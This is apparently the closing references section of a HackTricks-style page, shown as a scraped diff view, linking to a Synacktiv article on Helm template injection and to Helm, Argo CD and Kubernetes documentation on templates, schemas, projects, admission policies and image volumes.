https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/
|
||||
{{#endref}}
|
||||
- [Charting your way in: Helm template injection](https://synacktiv.com/en/publications/charting-your-way-in-helm-template-injection.html)
|
||||
- [Helm template functions and pipelines](https://helm.sh/docs/chart_template_guide/functions_and_pipelines/)
|
||||
- [Helm chart schema files (`values.schema.json`)](https://helm.sh/docs/topics/charts/#schema-files)
|
||||
- [Argo CD projects (`AppProject` restrictions)](https://argo-cd.readthedocs.io/en/latest/user-guide/projects/)
|
||||
- [Argo CD multiple sources / external Helm value files](https://argo-cd.readthedocs.io/en/latest/user-guide/multiple_sources/#helm-value-files-from-external-git-repository)
|
||||
- [Kubernetes ValidatingAdmissionPolicy](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
|
||||
- [https://kubernetes.io/docs/concepts/storage/volumes/#image](https://kubernetes.io/docs/concepts/storage/volumes/#image)
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/](https://kubernetes.io/docs/tasks/configure-pod-container/image-volumes/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user